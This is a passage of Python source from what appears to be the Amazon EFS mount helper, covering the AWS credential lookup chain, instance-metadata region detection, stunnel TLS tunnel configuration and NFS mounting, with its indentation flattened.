default_ca = local_ca
[ local_ca ]
database = $dir/database/index.txt
serial = $dir/database/serial
private_key = %s
cert = $dir/certificate.pem
new_certs_dir = $dir/certs
default_md = sha256
preserve = no
policy = efsPolicy
x509_extensions = v3_ca
[ efsPolicy ]
CN = supplied
[ req ]
prompt = no
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
CN = %s
%s
%s
%s
"""
# SigV4 Auth
ALGORITHM = 'AWS4-HMAC-SHA256'
AWS4_REQUEST = 'aws4_request'
HTTP_REQUEST_METHOD = 'GET'
CANONICAL_URI = '/'
CANONICAL_HEADERS_DICT = {
'host': '%s'
}
CANONICAL_HEADERS = '\n'.join(['%s:%s' % (k, v) for k, v in sorted(CANONICAL_HEADERS_DICT.items())])
SIGNED_HEADERS = ';'.join(CANONICAL_HEADERS_DICT.keys())
REQUEST_PAYLOAD = ''
FS_ID_RE = re.compile('^(?P<fs_id>fs-[0-9a-f]+)$')
EFS_FQDN_RE = re.compile(r'^(?P<fs_id>fs-[0-9a-f]+)\.efs\.(?P<region>[a-z0-9-]+)\.(?P<dns_name_suffix>[a-z0-9.]+)$')
AP_ID_RE = re.compile('^fsap-[0-9a-f]{17}$')
CREDENTIALS_KEYS = ['AccessKeyId', 'SecretAccessKey', 'Token']
ECS_URI_ENV = 'AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
ECS_TASK_METADATA_API = 'http://169.254.170.2'
WEB_IDENTITY_ROLE_ARN_ENV = 'AWS_ROLE_ARN'
WEB_IDENTITY_TOKEN_FILE_ENV = 'AWS_WEB_IDENTITY_TOKEN_FILE'
STS_ENDPOINT_URL = 'https://sts.amazonaws.com/'
INSTANCE_METADATA_TOKEN_URL = 'http://169.254.169.254/latest/api/token'
INSTANCE_METADATA_SERVICE_URL = 'http://169.254.169.254/latest/dynamic/instance-identity/document/'
INSTANCE_IAM_URL = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
SECURITY_CREDS_ECS_URI_HELP_URL = 'https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html'
SECURITY_CREDS_WEBIDENTITY_HELP_URL = 'https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html'
SECURITY_CREDS_IAM_ROLE_HELP_URL = 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html'
DEFAULT_STUNNEL_VERIFY_LEVEL = 2
DEFAULT_STUNNEL_CAFILE = '/etc/amazon/efs/efs-utils.crt'
NOT_BEFORE_MINS = 15
NOT_AFTER_HOURS = 3
EFS_ONLY_OPTIONS = [
'accesspoint',
'awscredsuri',
'awsprofile',
'cafile',
'iam',
'netns',
'noocsp',
'ocsp',
'tls',
'tlsport',
'verify'
]
UNSUPPORTED_OPTIONS = [
'capath'
]
STUNNEL_GLOBAL_CONFIG = {
'fips': 'no',
'foreground': 'yes',
'socket': [
'l:SO_REUSEADDR=yes',
'a:SO_BINDTODEVICE=lo',
],
}
STUNNEL_EFS_CONFIG = {
'client': 'yes',
'accept': '127.0.0.1:%s',
'connect': '%s:2049',
'sslVersion': 'TLSv1.2',
'renegotiation': 'no',
'TIMEOUTbusy': '20',
'TIMEOUTclose': '0',
'TIMEOUTidle': '70',
'delay': 'yes',
}
WATCHDOG_SERVICE = 'amazon-efs-mount-watchdog'
SYSTEM_RELEASE_PATH = '/etc/system-release'
OS_RELEASE_PATH = '/etc/os-release'
RHEL8_RELEASE_NAME = 'Red Hat Enterprise Linux release 8'
CENTOS8_RELEASE_NAME = 'CentOS Linux release 8'
FEDORA_RELEASE_NAME = 'Fedora release'
SUSE_RELEASE_NAME = 'openSUSE Leap'
SKIP_NO_LIBWRAP_RELEASES = [RHEL8_RELEASE_NAME, CENTOS8_RELEASE_NAME, FEDORA_RELEASE_NAME, SUSE_RELEASE_NAME]
def fatal_error(user_message, log_message=None, exit_code=1):
if log_message is None:
log_message = user_message
sys.stderr.write('%s\n' % user_message)
logging.error(log_message)
publish_cloudwatch_log(CLOUDWATCHLOG_AGENT, 'Mount failed, %s' % log_message)
sys.exit(exit_code)
def get_target_region(config):
def _fatal_error(message):
fatal_error('Error retrieving region. Please set the "region" parameter in the efs-utils configuration file.', message)
metadata_exception = 'Unknown error'
try:
return config.get(CONFIG_SECTION, 'region')
except NoOptionError:
pass
try:
return get_region_from_instance_metadata()
except Exception as e:
metadata_exception = e
logging.warning('Region not found in config file and metadata service call failed, falling back '
'to legacy "dns_name_format" check')
try:
region = get_region_from_legacy_dns_format(config)
sys.stdout.write('Warning: region obtained from "dns_name_format" field. Please set the "region" '
'parameter in the efs-utils configuration file.')
return region
except Exception:
logging.warning('Legacy check for region in "dns_name_format" failed')
_fatal_error(metadata_exception)
def get_region_from_instance_metadata():
instance_identity = get_instance_identity_info_from_instance_metadata('region')
if not instance_identity:
raise Exception("Cannot retrieve region from instance_metadata")
return instance_identity
def get_instance_identity_info_from_instance_metadata(property):
ec2_metadata_unsuccessful_resp = 'Unsuccessful retrieval of EC2 metadata at %s.' % INSTANCE_METADATA_SERVICE_URL
ec2_metadata_url_error_msg = 'Unable to reach %s to retrieve EC2 instance metadata.' % INSTANCE_METADATA_SERVICE_URL
instance_identity = url_request_helper(INSTANCE_METADATA_SERVICE_URL, ec2_metadata_unsuccessful_resp,
ec2_metadata_url_error_msg, retry_with_new_header_token=True)
if instance_identity:
try:
return instance_identity[property]
except KeyError as e:
logging.warning('%s not present in %s: %s' % (property, instance_identity, e))
except TypeError as e:
logging.warning('response %s is not a json object: %s' % (instance_identity, e))
return None
def get_region_from_legacy_dns_format(config):
"""
For backwards compatibility check dns_name_format to obtain the target region. This functionality
should only be used if region is not present in the config file and metadata calls fail.
"""
dns_name_format = config.get(CONFIG_SECTION, 'dns_name_format')
if '{region}' not in dns_name_format:
split_dns_name_format = dns_name_format.split('.')
if '{dns_name_suffix}' in dns_name_format:
return split_dns_name_format[-2]
elif 'amazonaws.com' in dns_name_format:
return split_dns_name_format[-3]
raise Exception('Region not found in dns_name_format')
def get_aws_ec2_metadata_token():
try:
opener = build_opener(HTTPHandler)
request = Request(INSTANCE_METADATA_TOKEN_URL)
request.add_header('X-aws-ec2-metadata-token-ttl-seconds', 21600)
request.get_method = lambda: 'PUT'
res = opener.open(request)
return res.read()
except NameError:
headers = {'X-aws-ec2-metadata-token-ttl-seconds': 21600}
req = Request(INSTANCE_METADATA_TOKEN_URL, headers=headers, method='PUT')
res = urlopen(req)
return res.read()
def get_aws_security_credentials(use_iam, awsprofile=None, aws_creds_uri=None):
"""
Lookup AWS security credentials (access key ID and secret access key). Adapted credentials provider chain from:
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html and
https://docs.aws.amazon.com/sdk-for-java/v1/developer-guide/credentials.html
"""
if not use_iam:
return None, None
# attempt to lookup AWS security credentials through the credentials URI the ECS agent generated
if aws_creds_uri:
return get_aws_security_credentials_from_ecs(aws_creds_uri, True)
# attempt to lookup AWS security credentials in AWS credentials file (~/.aws/credentials)
# and configs file (~/.aws/config) with given awsprofile
if awsprofile:
return get_aws_security_credentials_from_awsprofile(awsprofile, True)
# attempt to lookup AWS security credentials through AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable
if ECS_URI_ENV in os.environ:
credentials, credentials_source = get_aws_security_credentials_from_ecs(os.environ[ECS_URI_ENV], False)
if credentials and credentials_source:
return credentials, credentials_source
# attempt to lookup AWS security credentials through AssumeRoleWithWebIdentity
# (e.g. for IAM Role for Service Accounts (IRSA) approach on EKS)
if WEB_IDENTITY_ROLE_ARN_ENV in os.environ and WEB_IDENTITY_TOKEN_FILE_ENV in os.environ:
credentials, credentials_source = get_aws_security_credentials_from_webidentity(
os.environ[WEB_IDENTITY_ROLE_ARN_ENV],
os.environ[WEB_IDENTITY_TOKEN_FILE_ENV],
False
)
if credentials and credentials_source:
return credentials, credentials_source
# attempt to lookup AWS security credentials with IAM role name attached to instance
# through IAM role name security credentials lookup uri
iam_role_name = get_iam_role_name()
if iam_role_name:
credentials, credentials_source = get_aws_security_credentials_from_instance_metadata(iam_role_name)
if credentials and credentials_source:
return credentials, credentials_source
error_msg = 'AWS Access Key ID and Secret Access Key are not found in AWS credentials file (%s), config file (%s), ' \
'from ECS credentials relative uri, or from the instance security credentials service' % \
(AWS_CREDENTIALS_FILE, AWS_CONFIG_FILE)
fatal_error(error_msg, error_msg)
def get_aws_security_credentials_from_awsprofile(awsprofile, is_fatal=False):
for file_path in [AWS_CREDENTIALS_FILE, AWS_CONFIG_FILE]:
if os.path.exists(file_path):
credentials = credentials_file_helper(file_path, awsprofile)
if credentials['AccessKeyId']:
return credentials, os.path.basename(file_path) + ':' + awsprofile
# Fail if credentials cannot be fetched from the given awsprofile
if is_fatal:
log_message = 'AWS security credentials not found in %s or %s under named profile [%s]' % \
(AWS_CREDENTIALS_FILE, AWS_CONFIG_FILE, awsprofile)
fatal_error(log_message)
else:
return None, None
def get_aws_security_credentials_from_ecs(aws_creds_uri, is_fatal=False):
ecs_uri = ECS_TASK_METADATA_API + aws_creds_uri
ecs_unsuccessful_resp = 'Unsuccessful retrieval of AWS security credentials at %s.' % ecs_uri
ecs_url_error_msg = 'Unable to reach %s to retrieve AWS security credentials. See %s for more info.' \
% (ecs_uri, SECURITY_CREDS_ECS_URI_HELP_URL)
ecs_security_dict = url_request_helper(ecs_uri, ecs_unsuccessful_resp, ecs_url_error_msg)
if ecs_security_dict and all(k in ecs_security_dict for k in CREDENTIALS_KEYS):
return ecs_security_dict, 'ecs:' + aws_creds_uri
# Fail if credentials cannot be fetched from the given aws_creds_uri
if is_fatal:
fatal_error(ecs_unsuccessful_resp, ecs_unsuccessful_resp)
else:
return None, None
def get_aws_security_credentials_from_webidentity(role_arn, token_file, is_fatal=False):
try:
with open(token_file, 'r') as f:
token = f.read()
except Exception as e:
if is_fatal:
unsuccessful_resp = 'Error reading token file %s: %s' % (token_file, e)
fatal_error(unsuccessful_resp, unsuccessful_resp)
else:
return None, None
webidentity_url = STS_ENDPOINT_URL + '?' + urlencode({
'Version': '2011-06-15',
'Action': 'AssumeRoleWithWebIdentity',
'RoleArn': role_arn,
'RoleSessionName': 'efs-mount-helper',
'WebIdentityToken': token
})
unsuccessful_resp = 'Unsuccessful retrieval of AWS security credentials at %s.' % STS_ENDPOINT_URL
url_error_msg = 'Unable to reach %s to retrieve AWS security credentials. See %s for more info.' % \
(STS_ENDPOINT_URL, SECURITY_CREDS_WEBIDENTITY_HELP_URL)
resp = url_request_helper(webidentity_url, unsuccessful_resp, url_error_msg, headers={'Accept': 'application/json'})
if resp:
creds = resp \
.get('AssumeRoleWithWebIdentityResponse', {}) \
.get('AssumeRoleWithWebIdentityResult', {}) \
.get('Credentials', {})
if all(k in creds for k in ['AccessKeyId', 'SecretAccessKey', 'SessionToken']):
return {
'AccessKeyId': creds['AccessKeyId'],
'SecretAccessKey': creds['SecretAccessKey'],
'Token': creds['SessionToken']
}, 'webidentity:' + ','.join([role_arn, token_file])
# Fail if credentials cannot be fetched from the given aws_creds_uri
if is_fatal:
fatal_error(unsuccessful_resp, unsuccessful_resp)
else:
return None, None
def get_aws_security_credentials_from_instance_metadata(iam_role_name):
security_creds_lookup_url = INSTANCE_IAM_URL + iam_role_name
unsuccessful_resp = 'Unsuccessful retrieval of AWS security credentials at %s.' % security_creds_lookup_url
url_error_msg = 'Unable to reach %s to retrieve AWS security credentials. See %s for more info.' % \
(security_creds_lookup_url, SECURITY_CREDS_IAM_ROLE_HELP_URL)
iam_security_dict = url_request_helper(security_creds_lookup_url, unsuccessful_resp,
url_error_msg, retry_with_new_header_token=True)
if iam_security_dict and all(k in iam_security_dict for k in CREDENTIALS_KEYS):
return iam_security_dict, 'metadata:'
else:
return None, None
def get_iam_role_name():
iam_role_unsuccessful_resp = 'Unsuccessful retrieval of IAM role name at %s.' % INSTANCE_IAM_URL
iam_role_url_error_msg = 'Unable to reach %s to retrieve IAM role name. See %s for more info.' % \
(INSTANCE_IAM_URL, SECURITY_CREDS_IAM_ROLE_HELP_URL)
iam_role_name = url_request_helper(INSTANCE_IAM_URL, iam_role_unsuccessful_resp,
iam_role_url_error_msg, retry_with_new_header_token=True)
return iam_role_name
def credentials_file_helper(file_path, awsprofile):
aws_credentials_configs = read_config(file_path)
credentials = {'AccessKeyId': None, 'SecretAccessKey': None, 'Token': None}
try:
access_key = aws_credentials_configs.get(awsprofile, 'aws_access_key_id')
secret_key = aws_credentials_configs.get(awsprofile, 'aws_secret_access_key')
session_token = aws_credentials_configs.get(awsprofile, 'aws_session_token')
credentials['AccessKeyId'] = access_key
credentials['SecretAccessKey'] = secret_key
credentials['Token'] = session_token
except NoOptionError as e:
if 'aws_access_key_id' in str(e) or 'aws_secret_access_key' in str(e):
logging.debug('aws_access_key_id or aws_secret_access_key not found in %s under named profile [%s]', file_path,
awsprofile)
if 'aws_session_token' in str(e):
logging.debug('aws_session_token not found in %s', file_path)
credentials['AccessKeyId'] = aws_credentials_configs.get(awsprofile, 'aws_access_key_id')
credentials['SecretAccessKey'] = aws_credentials_configs.get(awsprofile, 'aws_secret_access_key')
except NoSectionError:
logging.debug('No [%s] section found in config file %s', awsprofile, file_path)
return credentials
def get_aws_profile(options, use_iam):
awsprofile = options.get('awsprofile')
if not awsprofile and use_iam:
for file_path in [AWS_CREDENTIALS_FILE, AWS_CONFIG_FILE]:
aws_credentials_configs = read_config(file_path)
# check if aws access key id is found under [default] section in current file and return 'default' if so
try:
access_key = aws_credentials_configs.get('default', 'aws_access_key_id')
if access_key is not None:
return 'default'
except (NoSectionError, NoOptionError):
continue
return awsprofile
def url_request_helper(url, unsuccessful_resp, url_error_msg, headers={}, retry_with_new_header_token=False):
try:
req = Request(url)
for k, v in headers.items():
req.add_header(k, v)
request_resp = urlopen(req, timeout=1)
return get_resp_obj(request_resp, url, unsuccessful_resp)
except HTTPError as e:
# For instance enable with IMDSv2, Unauthorized 401 error will be thrown,
# to retrieve metadata, the header should embeded with metadata token
if e.code == 401 and retry_with_new_header_token:
token = get_aws_ec2_metadata_token()
req.add_header('X-aws-ec2-metadata-token', token)
request_resp = urlopen(req, timeout=1)
return get_resp_obj(request_resp, url, unsuccessful_resp)
err_msg = 'Unable to reach the url at %s: status=%d, reason is %s' % (url, e.code, e.reason)
except URLError as e:
err_msg = 'Unable to reach the url at %s, reason is %s' % (url, e.reason)
if err_msg:
logging.debug('%s %s', url_error_msg, err_msg)
return None
def get_resp_obj(request_resp, url, unsuccessful_resp):
if request_resp.getcode() != 200:
logging.debug(unsuccessful_resp + ' %s: ResponseCode=%d', url, request_resp.getcode())
return None
resp_body = request_resp.read()
resp_body_type = type(resp_body)
try:
if resp_body_type is str:
resp_dict = json.loads(resp_body)
else:
resp_dict = json.loads(resp_body.decode(request_resp.headers.get_content_charset() or 'us-ascii'))
return resp_dict
except ValueError as e:
logging.info('ValueError parsing "%s" into json: %s. Returning response body.' % (str(resp_body), e))
return resp_body if resp_body_type is str else resp_body.decode('utf-8')
def parse_options(options):
opts = {}
for o in options.split(','):
if '=' in o:
k, v = o.split('=')
opts[k] = v
else:
opts[o] = None
return opts
def get_tls_port_range(config):
lower_bound = config.getint(CONFIG_SECTION, 'port_range_lower_bound')
upper_bound = config.getint(CONFIG_SECTION, 'port_range_upper_bound')
if lower_bound >= upper_bound:
fatal_error('Configuration option "port_range_upper_bound" defined as %d '
'must be strictly greater than "port_range_lower_bound" defined as %d.'
% (upper_bound, lower_bound))
return lower_bound, upper_bound
def choose_tls_port(config, options):
if 'tlsport' in options:
ports_to_try = [int(options['tlsport'])]
else:
lower_bound, upper_bound = get_tls_port_range(config)
tls_ports = list(range(lower_bound, upper_bound))
# Choose a random midpoint, and then try ports in-order from there
mid = random.randrange(len(tls_ports))
ports_to_try = tls_ports[mid:] + tls_ports[:mid]
assert len(tls_ports) == len(ports_to_try)
sock = socket.socket()
for tls_port in ports_to_try:
try:
sock.bind(('localhost', tls_port))
sock.close()
return tls_port
except socket.error:
continue
sock.close()
if 'tlsport' in options:
fatal_error('Specified port [%s] is unavailable. Try selecting a different port.' % options['tlsport'])
else:
fatal_error('Failed to locate an available port in the range [%d, %d], try specifying a different port range in %s'
% (lower_bound, upper_bound, CONFIG_FILE))
def is_ocsp_enabled(config, options):
if 'ocsp' in options:
return True
elif 'noocsp' in options:
return False
else:
return config.getboolean(CONFIG_SECTION, 'stunnel_check_cert_validity')
def get_mount_specific_filename(fs_id, mountpoint, tls_port):
return '%s.%s.%d' % (fs_id, os.path.abspath(mountpoint).replace(os.sep, '.').lstrip('.'), tls_port)
def serialize_stunnel_config(config, header=None):
lines = []
if header:
lines.append('[%s]' % header)
for k, v in config.items():
if type(v) is list:
for item in v:
lines.append('%s = %s' % (k, item))
else:
lines.append('%s = %s' % (k, v))
return lines
def add_stunnel_ca_options(efs_config, config, options):
if 'cafile' in options:
stunnel_cafile = options['cafile']
else:
try:
stunnel_cafile = config.get(CONFIG_SECTION, 'stunnel_cafile')
except NoOptionError:
logging.debug('No CA file configured, using default CA file %s', DEFAULT_STUNNEL_CAFILE)
stunnel_cafile = DEFAULT_STUNNEL_CAFILE
if not os.path.exists(stunnel_cafile):
fatal_error('Failed to find certificate authority file for verification',
'Failed to find CAfile "%s"' % stunnel_cafile)
efs_config['CAfile'] = stunnel_cafile
def is_stunnel_option_supported(stunnel_output, stunnel_option_name):
supported = False
for line in stunnel_output:
if line.startswith(stunnel_option_name):
supported = True
break
if not supported:
logging.warning('stunnel does not support "%s"', stunnel_option_name)
return supported
def get_version_specific_stunnel_options():
stunnel_command = [_stunnel_bin(), '-help']
proc = subprocess.Popen(stunnel_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
proc.wait()
_, err = proc.communicate()
stunnel_output = err.splitlines()
check_host_supported = is_stunnel_option_supported(stunnel_output, b'checkHost')
ocsp_aia_supported = is_stunnel_option_supported(stunnel_output, b'OCSPaia')
return check_host_supported, ocsp_aia_supported
def _stunnel_bin():
return find_command_path('stunnel',
'Please install it following the instructions at '
'https://docs.aws.amazon.com/efs/latest/ug/using-amazon-efs-utils.html#upgrading-stunnel')
def find_command_path(command, install_method):
try:
env_path = '/sbin:/usr/sbin:/usr/local/sbin:/root/bin:/usr/local/bin:/usr/bin:/bin'
os.putenv('PATH', env_path)
path = subprocess.check_output(['which', command])
except subprocess.CalledProcessError as e:
fatal_error('Failed to locate %s in %s - %s' % (command, env_path, install_method), e)
return path.strip().decode()
def get_system_release_version():
try:
with open(SYSTEM_RELEASE_PATH) as f:
return f.read().strip()
except IOError:
logging.debug('Unable to read %s', SYSTEM_RELEASE_PATH)
try:
with open(OS_RELEASE_PATH) as f:
for line in f:
if 'PRETTY_NAME' in line:
return line.split('=')[1].strip()
except IOError:
logging.debug('Unable to read %s', OS_RELEASE_PATH)
return 'unknown'
def write_stunnel_config_file(config, state_file_dir, fs_id, mountpoint, tls_port, dns_name, verify_level, ocsp_enabled,
options, log_dir=LOG_DIR, cert_details=None):
"""
Serializes stunnel configuration to a file. Unfortunately this does not conform to Python's config file format, so we have to
hand-serialize it.
"""
mount_filename = get_mount_specific_filename(fs_id, mountpoint, tls_port)
global_config = dict(STUNNEL_GLOBAL_CONFIG)
if config.getboolean(CONFIG_SECTION, 'stunnel_debug_enabled'):
global_config['debug'] = 'debug'
if config.has_option(CONFIG_SECTION, 'stunnel_logs_file'):
global_config['output'] = config.get(CONFIG_SECTION, 'stunnel_logs_file').replace('{fs_id}', fs_id)
else:
global_config['output'] = os.path.join(log_dir, '%s.stunnel.log' % mount_filename)
efs_config = dict(STUNNEL_EFS_CONFIG)
efs_config['accept'] = efs_config['accept'] % tls_port
efs_config['connect'] = efs_config['connect'] % dns_name
efs_config['verify'] = verify_level
if verify_level > 0:
add_stunnel_ca_options(efs_config, config, options)
if cert_details:
efs_config['cert'] = cert_details['certificate']
efs_config['key'] = cert_details['privateKey']
check_host_supported, ocsp_aia_supported = get_version_specific_stunnel_options()
tls_controls_message = 'WARNING: Your client lacks sufficient controls to properly enforce TLS. Please upgrade stunnel, ' \
'or disable "%%s" in %s.\nSee %s for more detail.' % (CONFIG_FILE,
'https://docs.aws.amazon.com/console/efs/troubleshooting-tls')
if config.getboolean(CONFIG_SECTION, 'stunnel_check_cert_hostname'):
if check_host_supported:
efs_config['checkHost'] = dns_name
else:
fatal_error(tls_controls_message % 'stunnel_check_cert_hostname')
# Only use the config setting if the override is not set
if ocsp_enabled:
if ocsp_aia_supported:
efs_config['OCSPaia'] = 'yes'
else:
fatal_error(tls_controls_message % 'stunnel_check_cert_validity')
system_release_version = get_system_release_version()
if not any(release in system_release_version for release in SKIP_NO_LIBWRAP_RELEASES):
efs_config['libwrap'] = 'no'
stunnel_config = '\n'.join(serialize_stunnel_config(global_config) + serialize_stunnel_config(efs_config, 'efs'))
logging.debug('Writing stunnel configuration:\n%s', stunnel_config)
stunnel_config_file = os.path.join(state_file_dir, 'stunnel-config.%s' % mount_filename)
with open(stunnel_config_file, 'w') as f:
f.write(stunnel_config)
return stunnel_config_file
def write_tls_tunnel_state_file(fs_id, mountpoint, tls_port, tunnel_pid, command, files, state_file_dir, cert_details=None):
"""
Return the name of the temporary file containing TLS tunnel state, prefixed with a '~'. This file needs to be renamed to a
non-temporary version following a successful mount.
"""
state_file = '~' + get_mount_specific_filename(fs_id, mountpoint, tls_port)
state = {
'pid': tunnel_pid,
'cmd': command,
'files': files,
}
if cert_details:
state.update(cert_details)
with open(os.path.join(state_file_dir, state_file), 'w') as f:
json.dump(state, f)
return state_file
def test_tunnel_process(tunnel_proc, fs_id):
tunnel_proc.poll()
if tunnel_proc.returncode is not None:
out, err = tunnel_proc.communicate()
fatal_error('Failed to initialize TLS tunnel for %s' % fs_id,
'Failed to start TLS tunnel (errno=%d). stdout="%s" stderr="%s"'
% (tunnel_proc.returncode, out.strip(), err.strip()))
def poll_tunnel_process(tunnel_proc, fs_id, mount_completed):
"""
poll the tunnel process health every .5s during the mount attempt to fail fast if the tunnel dies - since this is not called
from the main thread, if the tunnel fails, exit uncleanly with os._exit
"""
while not mount_completed.is_set():
try:
test_tunnel_process(tunnel_proc, fs_id)
except SystemExit as e:
os._exit(e.code)
mount_completed.wait(.5)
def get_init_system(comm_file='/proc/1/comm'):
init_system = 'unknown'
try:
with open(comm_file) as f:
init_system = f.read().strip()
except IOError:
logging.warning('Unable to read %s', comm_file)
logging.debug('Identified init system: %s', init_system)
return init_system
def check_network_target(fs_id):
with open(os.devnull, 'w') as devnull:
rc = subprocess.call(['systemctl', 'status', 'network.target'], stdout=devnull, stderr=devnull, close_fds=True)
if rc != 0:
fatal_error('Failed to mount %s because the network was not yet available, add "_netdev" to your mount options' % fs_id,
exit_code=0)
def check_network_status(fs_id, init_system):
if init_system != 'systemd':
logging.debug('Not testing network on non-systemd init systems')
return
check_network_target(fs_id)
def start_watchdog(init_system):
if init_system == 'init':
proc = subprocess.Popen(
['/sbin/status', WATCHDOG_SERVICE], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
status, _ = proc.communicate()
if 'stop' in status:
with open(os.devnull, 'w') as devnull:
subprocess.Popen(['/sbin/start', WATCHDOG_SERVICE], stdout=devnull, stderr=devnull, close_fds=True)
elif 'start' in status:
logging.debug('%s is already running', WATCHDOG_SERVICE)
elif init_system == 'systemd':
rc = subprocess.call(['systemctl', 'is-active', '--quiet', WATCHDOG_SERVICE], close_fds=True)
if rc != 0:
with open(os.devnull, 'w') as devnull:
subprocess.Popen(['systemctl', 'start', WATCHDOG_SERVICE], stdout=devnull, stderr=devnull, close_fds=True)
else:
logging.debug('%s is already running', WATCHDOG_SERVICE)
else:
error_message = 'Could not start %s, unrecognized init system "%s"' % (WATCHDOG_SERVICE, init_system)
sys.stderr.write('%s\n' % error_message)
logging.warning(error_message)
def create_required_directory(config, directory):
mode = 0o750
try:
mode_str = config.get(CONFIG_SECTION, 'state_file_dir_mode')
try:
mode = int(mode_str, 8)
except ValueError:
logging.warning('Bad state_file_dir_mode "%s" in config file "%s"', mode_str, CONFIG_FILE)
except NoOptionError:
pass
try:
os.makedirs(directory, mode)
except OSError as e:
if errno.EEXIST != e.errno or not os.path.isdir(directory):
raise
@contextmanager
def bootstrap_tls(config, init_system, dns_name, fs_id, mountpoint, options, state_file_dir=STATE_FILE_DIR):
tls_port = choose_tls_port(config, options)
# override the tlsport option so that we can later override the port the NFS client uses to connect to stunnel.
# if the user has specified tlsport=X at the command line this will just re-set tlsport to X.
options['tlsport'] = tls_port
use_iam = 'iam' in options
ap_id = options.get('accesspoint')
cert_details = {}
security_credentials = None
client_info = get_client_info(config)
if use_iam:
aws_creds_uri = options.get('awscredsuri')
if aws_creds_uri:
kwargs = {'aws_creds_uri': aws_creds_uri}
else:
kwargs = {'awsprofile': get_aws_profile(options, use_iam)}
security_credentials, credentials_source = get_aws_security_credentials(use_iam, **kwargs)
if credentials_source:
cert_details['awsCredentialsMethod'] = credentials_source
if ap_id:
cert_details['accessPoint'] = ap_id
# additional symbol appended to avoid naming collisions
cert_details['mountStateDir'] = get_mount_specific_filename(fs_id, mountpoint, tls_port) + '+'
# common name for certificate signing request is max 64 characters
cert_details['commonName'] = socket.gethostname()[0:64]
cert_details['region'] = get_target_region(config)
cert_details['certificateCreationTime'] = create_certificate(config, cert_details['mountStateDir'],
cert_details['commonName'], cert_details['region'], fs_id,
security_credentials, ap_id, client_info,
base_path=state_file_dir)
cert_details['certificate'] = os.path.join(state_file_dir, cert_details['mountStateDir'], 'certificate.pem')
cert_details['privateKey'] = get_private_key_path()
cert_details['fsId'] = fs_id
start_watchdog(init_system)
if not os.path.exists(state_file_dir):
create_required_directory(config, state_file_dir)
verify_level = int(options.get('verify', DEFAULT_STUNNEL_VERIFY_LEVEL))
ocsp_enabled = is_ocsp_enabled(config, options)
stunnel_config_file = write_stunnel_config_file(config, state_file_dir, fs_id, mountpoint, tls_port, dns_name, verify_level,
ocsp_enabled, options, cert_details=cert_details)
tunnel_args = [_stunnel_bin(), stunnel_config_file]
if 'netns' in options:
tunnel_args = ['nsenter', '--net=' + options['netns']] + tunnel_args
# launch the tunnel in a process group so if it has any child processes, they can be killed easily by the mount watchdog
logging.info('Starting TLS tunnel: "%s"', ' '.join(tunnel_args))
tunnel_proc = subprocess.Popen(
tunnel_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=os.setsid, close_fds=True)
logging.info('Started TLS tunnel, pid: %d', tunnel_proc.pid)
temp_tls_state_file = write_tls_tunnel_state_file(fs_id, mountpoint, tls_port, tunnel_proc.pid, tunnel_args,
[stunnel_config_file], state_file_dir, cert_details=cert_details)
try:
yield tunnel_proc
finally:
os.rename(os.path.join(state_file_dir, temp_tls_state_file), os.path.join(state_file_dir, temp_tls_state_file[1:]))
def get_nfs_mount_options(options):
# If you change these options, update the man page as well at man/mount.efs.8
if 'nfsvers' not in options and 'vers' not in options:
options['nfsvers'] = '4.1'
if 'rsize' not in options:
options['rsize'] = '1048576'
if 'wsize' not in options:
options['wsize'] = '1048576'
if 'soft' not in options and 'hard' not in options:
options['hard'] = None
if 'timeo' not in options:
options['timeo'] = '600'
if 'retrans' not in options:
options['retrans'] = '2'
if 'noresvport' not in options:
options['noresvport'] = None
if 'tls' in options:
options['port'] = options['tlsport']
def to_nfs_option(k, v):
if v is None:
return k
return '%s=%s' % (str(k), str(v))
nfs_options = [to_nfs_option(k, v) for k, v in options.items() if k not in EFS_ONLY_OPTIONS]
return ','.join(nfs_options)
def mount_nfs(dns_name, path, mountpoint, options):
if 'tls' in options:
mount_path = '127.0.0.1:%s' % path
else:
mount_path = '%s:%s' % (dns_name, path)
command = ['/sbin/mount.nfs4', mount_path, mountpoint, '-o', get_nfs_mount_options(options)]
if 'netns' in options:
command = ['nsenter', '--net=' + options['netns']] + command
logging.info('Executing: "%s"', ' '.join(command))
proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
out, err = proc.communicate()
if proc.returncode == 0:
message = 'Successfully mounted %s at %s' % (dns_name, mountpoint)
logging.info(message)
publish_cloudwatch_log(CLOUDWATCHLOG_AGENT, message)
else:
message = 'Failed to mount %s at %s: returncode=%d, stderr="%s"' % (dns_name, mountpoint, proc.returncode, err.strip())
fatal_error(err.strip(), message, proc.returncode)
def usage(out, exit_code=1):
out.write('Usage: mount.efs [--version] [-h|--help] <fsname> <mountpoint> [-o <options>]\n')
sys.exit(exit_code)
def parse_arguments_early_exit(args=None):
"""Parse arguments, checking for early exit conditions only"""
if args is None:
args = sys.argv
if '-h' in args[1:] or '--help' in args[1:]:
usage(out=sys.stdout, exit_code=0)
if '--version' in args[1:]:
sys.stdout.write('%s Version: %s\n' % (args[0], VERSION))
sys.exit(0)
def parse_arguments(config, args=None):
"""Parse arguments, return (fsid, path, mountpoint, options)"""
if args is None:
args = sys.argv
fsname = None
mountpoint = None
options = {}
if len(args) > 1:
fsname = args[1]
if len(args) > 2:
mountpoint = args[2]
if len(args) > 4 and '-o' in args[:-1]:
options_index = args.index('-o') + 1
options = parse_options(args[options_index])
if not fsname or not mountpoint:
usage(out=sys.stderr)
fs_id, path = match_device(config, fsname)
return fs_id, path, mountpoint, options
def get_client_info(config):
client_info = {}
# source key/value pair in config file
if config.has_option(CLIENT_INFO_SECTION, 'source'):
client_source = config.get(CLIENT_INFO_SECTION, 'source')
if 0 < len(client_source) <= CLIENT_SOURCE_STR_LEN_LIMIT:
client_info['source'] = client_source
return client_info
def create_certificate(config, mount_name, common_name, region, fs_id, security_credentials, ap_id, client_info,
base_path=STATE_FILE_DIR):
current_time = get_utc_now()
tls_paths = tls_paths_dictionary(mount_name, base_path)
